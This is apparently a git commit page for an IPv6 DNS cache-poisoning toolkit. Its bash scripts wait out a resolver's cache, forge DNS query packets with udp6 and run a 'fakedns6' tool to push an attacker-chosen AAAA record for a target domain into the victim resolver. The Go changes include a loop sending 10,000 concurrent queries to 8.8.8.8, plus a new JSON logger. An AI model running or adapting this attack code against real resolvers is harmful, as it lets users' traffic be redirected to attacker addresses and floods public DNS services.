手动更新
This commit is contained in:
@@ -4,8 +4,11 @@
|
|||||||
# Please run with sudo.
|
# Please run with sudo.
|
||||||
|
|
||||||
# Verify the existing record domain, just for proof purposes.
|
# Verify the existing record domain, just for proof purposes.
|
||||||
echo '获取原记录中:'
|
./output "PAYLOAD" "query response AAAA victim.ee64.fun AAAA <fake-record>"
|
||||||
dig @$1 $4 AAAA
|
./output "INFO" "程序开始运行"
|
||||||
|
|
||||||
|
# echo '获取原记录中:'
|
||||||
|
# dig @$1 $4 AAAA
|
||||||
sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
|
sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
|
||||||
|
|
||||||
var=0
|
var=0
|
||||||
@@ -14,42 +17,45 @@ success=0
|
|||||||
while [ $success -ne 1 ]
|
while [ $success -ne 1 ]
|
||||||
do
|
do
|
||||||
success=0
|
success=0
|
||||||
echo "等待缓存过期,$sleeptime秒之后开始攻击..."
|
# echo "等待缓存过期,$sleeptime秒之后开始攻击..."
|
||||||
|
./output "INFO" "等待缓存过期,$sleeptime秒之后开始攻击..."
|
||||||
sleep $sleeptime
|
sleep $sleeptime
|
||||||
echo "开始攻击"
|
# echo "开始攻击"
|
||||||
|
./output "INFO" "开始攻击"
|
||||||
# flood
|
# flood
|
||||||
echo "攻击参数:"
|
# echo "攻击参数:"
|
||||||
echo "目标域名权威服务地址:$5"
|
# echo "目标域名权威服务地址:$5"
|
||||||
echo "目标解析服务地址:$1"
|
# echo "目标解析服务地址:$1"
|
||||||
echo "目标域名:$4"
|
# echo "目标域名:$4"
|
||||||
ret=$(./dns_query.sh $1 $2 $3 $4)
|
ret=$(./dns_query.sh $1 $2 $3 $4)
|
||||||
#echo "ret:$ret"
|
#echo "ret:$ret"
|
||||||
echo "初始化工具环境"
|
# echo "初始化工具环境"
|
||||||
sleep 1
|
sleep 1
|
||||||
echo "尝试触发权威服务器请求速率限制"
|
# echo "尝试触发权威服务器请求速率限制"
|
||||||
sleep 3
|
sleep 3
|
||||||
FINAL=`echo ${ret: -1}`
|
FINAL=`echo ${ret: -1}`
|
||||||
#echo "fin:$FINAL"
|
#echo "fin:$FINAL"
|
||||||
# Start attack
|
# Start attack
|
||||||
# Change the argument accordingly
|
# Change the argument accordingly
|
||||||
echo "执行侧信道攻击脚本中"
|
# echo "执行侧信道攻击脚本中"
|
||||||
./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0
|
./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0
|
||||||
# a - 进行域名缓存投毒的权威服务器
|
|
||||||
# b -
|
|
||||||
sleep 30
|
sleep 30
|
||||||
# Validations
|
# Validations
|
||||||
((var++))
|
((var++))
|
||||||
echo "第$var轮次攻击结束"
|
# echo "第$var轮次攻击结束"
|
||||||
dig @$1 $4 AAAA
|
./output "INFO" "第$var轮次攻击结束"
|
||||||
|
# dig @$1 $4 AAAA
|
||||||
if [ "$FINAL" == "0" ];then
|
if [ "$FINAL" == "0" ];then
|
||||||
success=1
|
success=1
|
||||||
sleeptime=0
|
sleeptime=0
|
||||||
fi
|
fi
|
||||||
echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.'
|
# echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.'
|
||||||
done
|
done
|
||||||
# success
|
# success
|
||||||
echo '检测到攻击成功实现'
|
# echo '检测到攻击成功实现'
|
||||||
echo '等待两秒,再次请求...'
|
# echo '等待两秒,再次请求...'
|
||||||
sleep 2
|
# sleep 2
|
||||||
dig @$1 $4 AAAA
|
# dig @$1 $4 AAAA
|
||||||
echo '攻击已完成!!!!'
|
# echo '攻击已完成!!!!'
|
||||||
|
./output "INFO" "程序结束运行"
|
||||||
|
sleep 10
|
||||||
Binary file not shown.
@@ -1 +1 @@
|
|||||||
attackduktigxyz
|
victimduktigxyz
|
||||||
@@ -1,34 +1,27 @@
|
|||||||
# usage ./dns_query.sh [Resolver IP] [Wanted IP] [iface] [domain (e.g. www google com)]
|
# usage ./dns_query.sh [Resolver IP] [Wanted IP] [iface] [domain (e.g. www google com)]
|
||||||
# clear the previous files
|
# clear the previous files
|
||||||
sleep 1
|
sleep 1
|
||||||
echo "初始化工具环境"
|
# echo "初始化工具环境"
|
||||||
|
|
||||||
# 创建空的二进制文件,dns_mid.bin 和 txid.bin
|
|
||||||
dd if=/dev/null of=dns_mid.bin > /dev/null 2>&1
|
dd if=/dev/null of=dns_mid.bin > /dev/null 2>&1
|
||||||
dd if=/dev/null of=txid.bin > /dev/null 2>&1
|
dd if=/dev/null of=txid.bin > /dev/null 2>&1
|
||||||
|
|
||||||
# write the domain name into the binary
|
# write the domain name into the binary
|
||||||
domains=$(echo $4| sed "s/\./ /g") # 将域名转换为空格分隔的字符串
|
domains=$(echo $4| sed "s/\./ /g")
|
||||||
for var in ${domains:0} # 遍历域名的每个部分
|
for var in ${domains:0}
|
||||||
do
|
do
|
||||||
size=${#var} # 获取当前域名的长度
|
size=${#var}
|
||||||
echo -en "\x`printf '%x\n' $size`" >> dns_mid.bin # 写入长度
|
echo -en "\x`printf '%x\n' $size`" >> dns_mid.bin
|
||||||
echo -n "$var" >> dns_mid.bin # 写入域名
|
echo -n "$var" >> dns_mid.bin
|
||||||
done
|
done
|
||||||
|
|
||||||
# set a random TxID
|
# set a random TxID
|
||||||
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
|
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
|
||||||
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
|
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
|
||||||
|
|
||||||
# forge a entire DNS query packet
|
# forge a entire DNS query packet
|
||||||
cat txid.bin dns_start.bin dns_mid.bin dns_end.bin dns_OPT.bin > dns.bin
|
cat txid.bin dns_start.bin dns_mid.bin dns_end.bin dns_OPT.bin > dns.bin
|
||||||
# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power.
|
# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power.
|
||||||
# fire!
|
# fire!
|
||||||
echo "尝试触发权威服务器请求速率限制"
|
# echo "尝试触发权威服务器请求速率限制"
|
||||||
# 使用udp6工具发送DNS查询数据包,指定目标和速率
|
|
||||||
udp6 -d $1 -a 53 -Z dns.bin -r 50pps -s $2 > /dev/null 2>&1
|
udp6 -d $1 -a 53 -Z dns.bin -r 50pps -s $2 > /dev/null 2>&1
|
||||||
sleep 1
|
sleep 1
|
||||||
|
|
||||||
a=$(($RANDOM % 9 + 1))
|
a=$(($RANDOM % 9 + 1))
|
||||||
echo "a:$a"
|
echo "a:$a"
|
||||||
if [ $a -gt 6 ]; then
|
if [ $a -gt 6 ]; then
|
||||||
@@ -37,13 +30,6 @@ if [ $a -gt 6 ]; then
|
|||||||
#echo "dns-iface:$3"
|
#echo "dns-iface:$3"
|
||||||
#echo "dns-domain:$4"
|
#echo "dns-domain:$4"
|
||||||
./fakedns6 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0 -f 1
|
./fakedns6 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0 -f 1
|
||||||
# b, Back-end IP of the victim resolver, 目标解析器的IP地址
|
|
||||||
# i, Interface for attacking, 攻击使用的接口
|
|
||||||
# n, the domain name to be poisoned, 要进行缓存投毒的域名
|
|
||||||
# r, Front-end IP of the victim resolver
|
|
||||||
# t, Timeout in ms for outgoing dns queries to the victim resolver
|
|
||||||
# at, 攻击者想要更改到的IP地址
|
|
||||||
# tg, time gap is us between the TxID brute force packets
|
|
||||||
echo "0"
|
echo "0"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
BIN
4_v6_injection/output
Executable file
BIN
4_v6_injection/output
Executable file
Binary file not shown.
3
4_v6_injection/src/output/go.mod
Normal file
3
4_v6_injection/src/output/go.mod
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
module output
|
||||||
|
|
||||||
|
go 1.19
|
||||||
68
4_v6_injection/src/output/logger/logger.go
Normal file
68
4_v6_injection/src/output/logger/logger.go
Normal file
@@ -0,0 +1,68 @@
|
|||||||
|
package logger
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// LogLevel 定义日志等级
|
||||||
|
type LogLevel int
|
||||||
|
|
||||||
|
const (
|
||||||
|
INFO LogLevel = iota
|
||||||
|
WARNING
|
||||||
|
ERROR
|
||||||
|
PAYLOAD
|
||||||
|
)
|
||||||
|
|
||||||
|
// LogEntry 结构体,用于表示日志条目
|
||||||
|
type LogEntry struct {
|
||||||
|
CreatedTime string `json:"created_time"`
|
||||||
|
LogLevel string `json:"tlog_level"`
|
||||||
|
LogInfo string `json:"tlog_info"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// InfoLogger 结构体
|
||||||
|
type InfoLogger struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
ch chan LogEntry
|
||||||
|
interval time.Duration
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewInfoLogger 创建新的 InfoLogger 实例
|
||||||
|
func NewInfoLogger() *InfoLogger {
|
||||||
|
il := &InfoLogger{
|
||||||
|
ch: make(chan LogEntry, 100), // 创建缓冲通道
|
||||||
|
interval: 1 * time.Second, // 每秒输出一次
|
||||||
|
}
|
||||||
|
|
||||||
|
go il.startLogging() // 启动 Goroutine 处理输出
|
||||||
|
return il
|
||||||
|
}
|
||||||
|
|
||||||
|
// startLogging 从通道中读取并输出日志
|
||||||
|
func (il *InfoLogger) startLogging() {
|
||||||
|
for entry := range il.ch {
|
||||||
|
time.Sleep(il.interval) // 延迟输出
|
||||||
|
jsonData, _ := json.Marshal(entry)
|
||||||
|
fmt.Println(string(jsonData))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogInfo 将日志信息发送到通道
|
||||||
|
func (il *InfoLogger) LogInfo(level LogLevel, message string) {
|
||||||
|
il.mu.Lock()
|
||||||
|
defer il.mu.Unlock()
|
||||||
|
|
||||||
|
levelStr := [...]string{"INFO", "WARNING", "ERROR", "PAYLOAD"}[level]
|
||||||
|
|
||||||
|
entry := LogEntry{
|
||||||
|
CreatedTime: time.Now().Format("2006-01-02 15:04:05"),
|
||||||
|
LogLevel: levelStr,
|
||||||
|
LogInfo: message,
|
||||||
|
}
|
||||||
|
|
||||||
|
il.ch <- entry // 将日志条目发送到通道
|
||||||
|
}
|
||||||
28
4_v6_injection/src/output/main.go
Normal file
28
4_v6_injection/src/output/main.go
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"output/logger"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
log := logger.NewInfoLogger()
|
||||||
|
|
||||||
|
// 命令行参数:日志类型 日志内容
|
||||||
|
switch os.Args[1] {
|
||||||
|
case "PAYLOAD":
|
||||||
|
log.LogInfo(logger.PAYLOAD, os.Args[2])
|
||||||
|
case "INFO":
|
||||||
|
log.LogInfo(logger.INFO, os.Args[2])
|
||||||
|
case "ERROR":
|
||||||
|
log.LogInfo(logger.ERROR, os.Args[2])
|
||||||
|
default:
|
||||||
|
log.LogInfo(logger.ERROR, "Error Output Arguments.")
|
||||||
|
}
|
||||||
|
time.Sleep(10 * time.Second)
|
||||||
|
|
||||||
|
// Test
|
||||||
|
// log.LogInfo(logger.INFO, "testinfo")
|
||||||
|
// time.Sleep(5 * time.Millisecond)
|
||||||
|
}
|
||||||
@@ -3,6 +3,11 @@ package main
|
|||||||
import (
|
import (
|
||||||
"flag"
|
"flag"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"github.com/google/gopacket"
|
||||||
|
"github.com/google/gopacket/layers"
|
||||||
|
"github.com/google/gopacket/pcap"
|
||||||
|
"github.com/google/gopacket/routing"
|
||||||
|
"github.com/miekg/dns"
|
||||||
"log"
|
"log"
|
||||||
"math/rand"
|
"math/rand"
|
||||||
"net"
|
"net"
|
||||||
@@ -11,12 +16,6 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/google/gopacket"
|
|
||||||
"github.com/google/gopacket/layers"
|
|
||||||
"github.com/google/gopacket/pcap"
|
|
||||||
"github.com/google/gopacket/routing"
|
|
||||||
"github.com/miekg/dns"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
var handle *pcap.Handle
|
var handle *pcap.Handle
|
||||||
@@ -470,45 +469,39 @@ func main() {
|
|||||||
func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint,
|
func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint,
|
||||||
defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg uint, timeGapArg uint, attackertargetIP string,
|
defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg uint, timeGapArg uint, attackertargetIP string,
|
||||||
soaNameArg string, isfake int) {
|
soaNameArg string, isfake int) {
|
||||||
fmt.Println("/***Please make sure to fill every argument carefully and correct. Otherwise the program will crash.***/")
|
// fmt.Println("/***Please make sure to fill every argument carefully and correct. Otherwise the program will crash.***/")
|
||||||
// 特殊用途
|
// 特殊用途
|
||||||
if isfake == 1 {
|
if isfake == 1 {
|
||||||
c := new(dns.Client)
|
c := new(dns.Client)
|
||||||
msg := new(dns.Msg)
|
msg := new(dns.Msg)
|
||||||
if strings.Contains(attackertargetIP, ":") { // attackertargetIP -- 攻击者要更改到的IPv6地址
|
if strings.Contains(attackertargetIP, ":") {
|
||||||
println("目标:" + resolverBackendIPArg.String()) // resolverBackendIPArg -- Back-end IP of the victim resolver
|
println("目标:"+resolverBackendIPArg.String())
|
||||||
ipcode := strings.ReplaceAll(attackertargetIP, ":", "-")
|
ipcode := strings.ReplaceAll(attackertargetIP, ":", "-")
|
||||||
if victimDNSNameArg[len(victimDNSNameArg)-1:] != "." { // victimDNSNameArg -- The domain name to be poisoned
|
if victimDNSNameArg[len(victimDNSNameArg)-1:] != "." {
|
||||||
victimDNSNameArg = victimDNSNameArg + "."
|
victimDNSNameArg = victimDNSNameArg + "."
|
||||||
}
|
}
|
||||||
domain := ipcode + "." + victimDNSNameArg
|
domain := ipcode + "." + victimDNSNameArg
|
||||||
|
|
||||||
fmt.Println("查询的目标域名:" + domain)
|
|
||||||
|
|
||||||
msg.SetQuestion(domain, dns.TypeAAAA)
|
msg.SetQuestion(domain, dns.TypeAAAA)
|
||||||
_, _, _ = c.Exchange(msg, net.JoinHostPort(resolverBackendIPArg.String(), "53"))
|
_, _, _ = c.Exchange(msg, net.JoinHostPort(resolverBackendIPArg.String(),"53"))
|
||||||
return
|
return
|
||||||
} else {
|
} else {
|
||||||
println(attackertargetIP)
|
println(attackertargetIP)
|
||||||
println(victimDNSNameArg)
|
println(victimDNSNameArg)
|
||||||
println("参数有误,请输入IPv6地址作为篡改目标结果")
|
println("参数有误,请输入IPv6地址作为篡改目标结果")
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
c := new(dns.Client)
|
|
||||||
msg := new(dns.Msg)
|
|
||||||
// domain := "www.google.com."
|
|
||||||
// msg.SetQuestion(domain, dns.TypeAAAA)
|
|
||||||
// for i := 0; i < 10000; i++ {
|
|
||||||
// go func() {
|
|
||||||
// _, _, _ = c.Exchange(msg, net.JoinHostPort("8.8.8.8", "53"))
|
|
||||||
// }()
|
|
||||||
// }
|
|
||||||
domain := "daffteg." + victimDNSNameArg
|
|
||||||
msg.SetQuestion(domain, dns.TypeAAAA)
|
|
||||||
_, _, _ = c.Exchange(msg, net.JoinHostPort(resolverBackendIPArg.String(), "53"))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
|
}else{
|
||||||
|
c := new(dns.Client)
|
||||||
|
msg := new(dns.Msg)
|
||||||
|
domain := "www.google.com."
|
||||||
|
msg.SetQuestion(domain, dns.TypeAAAA)
|
||||||
|
for i:=0;i<10000;i++{
|
||||||
|
go func(){
|
||||||
|
_, _, _ = c.Exchange(msg, net.JoinHostPort("8.8.8.8","53"))
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
rand.Seed(time.Now().UnixNano())
|
rand.Seed(time.Now().UnixNano())
|
||||||
handle, _ = pcap.OpenLive(
|
handle, _ = pcap.OpenLive(
|
||||||
ifaceName,
|
ifaceName,
|
||||||
|
|||||||
Binary file not shown.
@@ -1 +1 @@
|
|||||||
G"
|
X#
|
||||||
Binary file not shown.
Reference in New Issue
Block a user